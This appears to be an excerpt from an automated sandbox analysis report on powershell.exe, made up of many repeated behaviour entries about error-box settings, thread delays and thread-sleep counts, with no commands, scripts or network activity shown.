Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3754	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6077	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5567	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4187	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4157	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2269	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5153	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4532	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1816	Thread sleep count: 3754 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3320	Thread sleep count: 6077 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6500	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1128	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5912	Thread sleep count: 5567 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7056	Thread sleep count: 4187 > 30	Jump to behavior
